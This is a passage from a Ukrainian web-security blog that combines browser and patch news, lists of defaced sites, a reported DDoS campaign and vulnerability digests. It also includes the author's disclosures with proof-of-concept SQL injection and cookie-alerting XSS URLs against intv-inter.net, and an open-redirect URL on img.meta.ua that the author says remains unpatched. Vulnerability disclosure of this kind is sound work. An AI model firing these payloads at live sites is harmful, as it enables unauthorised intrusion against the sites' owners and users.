Websecurity - Веб безпека

В грудні, 20.12.2011, вийшов Mozilla Firefox 9. Нова версія браузера вийшла через півтора місяця після виходу Firefox 8 (та через місяць після 8.0.1).

Mozilla офіційно представила реліз веб-браузера Firefox 9.0. Реліз Firefox 10 очікується через 6 тижнів, на початку лютого, а Firefox 11 вийде в середині березня. Крім того, також були випущені Firefox 3.6.25, Firefox 9 for Android, Seamonkey 2.6 і Thunderbird 9.0.

Окремо варто відзначити, що крім нововведень і виправлення помилок у Firefox 9.0 усунуто 6 уразливостей. 4 з яких мають критичний характер і можуть привести до виконання коду зловмисника при відкритті спеціально оформлених сторінок.

• Релиз Firefox 9 и сопутствующих проектов Mozilla (деталі)

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://balakliya-rda.gov.ua (хакером nO lOv3) - 09.10.2011 - взломаний державний сайт, зараз сайт вже виправлений адмінами
• http://sovet.izmail-rada.gov.ua (хакером Dr-AnGeL) - взломаний державний сайт
• http://voyage.co.ua (хакером nO lOv3) - 09.10.2011, зараз сайт вже виправлений адмінами
• http://www.spigc.com (хакерами з 1923Turk) - 09.10.2011, зараз сайт вже виправлений адмінами
• http://balakleya.org.ua (хакером nO lOv3) - 09.10.2011, зараз сайт вже виправлений адмінами

18.05.2009

У вересні, 17.09.2008, я знайшов SQL Injection та Cross-Site Scripting уразливості на проекті http://intv-inter.net. Про що найближчим часом сповіщу адміністрацію проекту.

Детальна інформація про уразливості з’явиться пізніше.

23.12.2011

SQL Injection:

http://intv-inter.net/tv/programm/?id=7429146&act=tvp&channel='%20or%201='1
http://intv-inter.net/tv/programm/?id=7429146&act='%20or%201='1&channel=1plus1
http://intv-inter.net/radio/ch/?id=-1'%20or%201='1
http://intv-inter.net/tv/channel/intv/?id=-1%20or%201=1

XSS (IE):

http://intv-inter.net/tv/programm/?id=7429146&act=tvp&channel='style='xss:expression(alert(document.cookie))
http://intv-inter.net/tv/programm/?id=7429146&act='style='xss:expression(alert(document.cookie))'&channel=1plus1
http://intv-inter.net/tv/programm/?id='style='xss:expression(alert(document.cookie))'&act=tvp&channel=1plus1

Дані уразливості вже виправлені шляхом заміни движка сайта. Змінили один дірявий движок на інший дірявий (про уразливості в DLE я вже писав неодноразово).

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Featurific For WordPress, Enable Latex та Meenews. Для котрих з’явилися експлоіти. Featurific For WordPress - це плагін, що являє собою інтерфейс до Featurific Free, Enable Latex - це плагін для включення LaTeX формул в записи, Meenews - це плагін для створення розсилок та управління списками підписчиків.

• Wordpress featurific-for-wordpress plugin Cross-Site Scripting Vulnerabilities (деталі)
• Wordpress enable-latex plugin Remote File Include Vulnerabilities (деталі)
• Wordpress meenews 5.1 plugin Cross-Site Scripting Vulnerabilities (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

За інформацією http://antifa.zp.ua, 04.06.2011, запорізькі антифашисти провели DDoS атаку на 27 сайтів. Це неонацистські сайти, що розміщені на одному сервері.

Торік 161 Kozak City Hack Team вже проводили подібну атаку на цей сервер (на 8 сайтів на ньому), а цього року вони повторили атаку - при цьому вона заторкнула більше сайтів (мабуть за рік на сервері збільшилася кількість подібних сайтів). DDoS атака тривала як мінімум на протязі червня.

Були атаковані наступні сайти: www.sol-krest.org, nsportal.org.ua, nswap.info, hvatitbuhat.info, biblioteka.nswap.info, links.nswap.info, ntz.org.ua, sxe.ukrright.info, www.acab.in.ua, rus-imperium.info, orientyry.com, murman.sumno.com, chat.nswap.info, nord.nswap.info, rediski.org, zentr.org, 1may.org.ua, ukrright.info, gb.nswap.info, untp.org.ua, rafront.org, redscum.info, rne-rusi.org, nsi14.info, raum88.nswap.info, divizion24.nswap.info, inv.org.ua.

У грудні місяці Microsoft випустила 13 патчів. Що значно більше ніж у листопаді.

У грудневому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло 13 бюлетенів по безпеці. Що закривають 13 уразливостей в програмних продуктах компанії. З них три патчі закривають критичні уразливості, а інші десять патчів - важливі уразливості.

Дані патчі стосуються всіх поточних операційних систем компанії Microsoft - Windows XP, 2003, Vista, 2008, 7 та 2008 R2. А також Microsoft Office, Internet Explorer та Windows Media Player.

В даній добірці уразливості в веб додатках:

• Trend Micro Control Manager CasLogDirectInsertHandler.cs Remote Code Execution Vulnerability (деталі)
• Zones Web Solution (index.php?manufacturers_id) Remote SQL injection Vulnerability (деталі)
• Funnel Web (items.php?&cat_id) Remote SQL injection Vulnerability (деталі)
• pango 1.0 security update (деталі)
• Funnel Web (directory.php?cid) Remote SQL injection Vulnerability (деталі)
• Funnel Web (selected_product.php?t) Remote SQL injection Vulnerability (деталі)
• HP StorageWorks P4000 Virtual SAN Appliance, Execution of Arbitrary Code (деталі)
• iPhotoAlbum v1.1 (header.php) Remote File Include Vulnerability (деталі)
• Softerra Time-Assistant <= 6.2 (inc_dir) Remote File Inclusion Vulnerability (деталі)
• DrakeCMS multiple vulerabilities (деталі)

В презентації General Principles of Web Security, Justin Emond розповідає про загальні принципи веб безпеки. Про SQL iн’єкції, міжсайтовий скриптінг та загальні погляди на безпеку при розробці веб додатків.

У листопаді, 28.11.2008, я знайшов Cross-Site Scripting та Redirector уразливості на сайті http://img.meta.ua. Як я вже розповідав, після останнього разу, коли вони відповіли мені дуже несерйозним чином, я більше не сповіщаю Мету про дірки на їхніх сайтах.

Останнього разу стосовно проектів компанії Мета я писав про уразливості на translate.meta.ua.

XSS (Strictly social XSS):

• alert(document.cookie)

Redirector (URL Redirector Abuse):

http://img.meta.ua/mclick.asp?go=http://websecurity.com.ua

Про цей редиректор я вже писав в 2009 році.

Дані уразливості так досі й висять на сайті, як це було до того, як я знайшов їх у листопаді 2008 року (тобто на протязі всього часу роботи цього сайта). І це є типовим явищем для сайтів Мети, що добре видно з тих багатьох дірок на багатьох сайтах Мети про які я розповідав раніше.

Виявлені численні уразливості безпеки в серії програмних продуктів Websense. Випускати вразливі додатки є типовим для секюріті компаній, в цьому вони не відрізняються від інших компаній виробників ПЗ. Зокрема це стосується Websense, про уразливості в програмах якої я вже неодноразово писав.

Уразливі продукти: Websense Web Security Gateway Anywhere v7.6, Websense Web Security Gateway v7.6, Websense Web Security v7.6, Websense Web Filter v7.6.

Виконання коду, міжсайтовий скриптінг.

• Websense Triton 7.6 - Authentication bypass in report management UI (деталі)
• Websense Triton 7.6 - Stored XSS in report management UI (деталі)
• Websense Triton 7.6 - Unauthenticated remote command execution as SYSTEM (деталі)
• Websense Triton 7.6 - Reflected XSS in report management UI (деталі)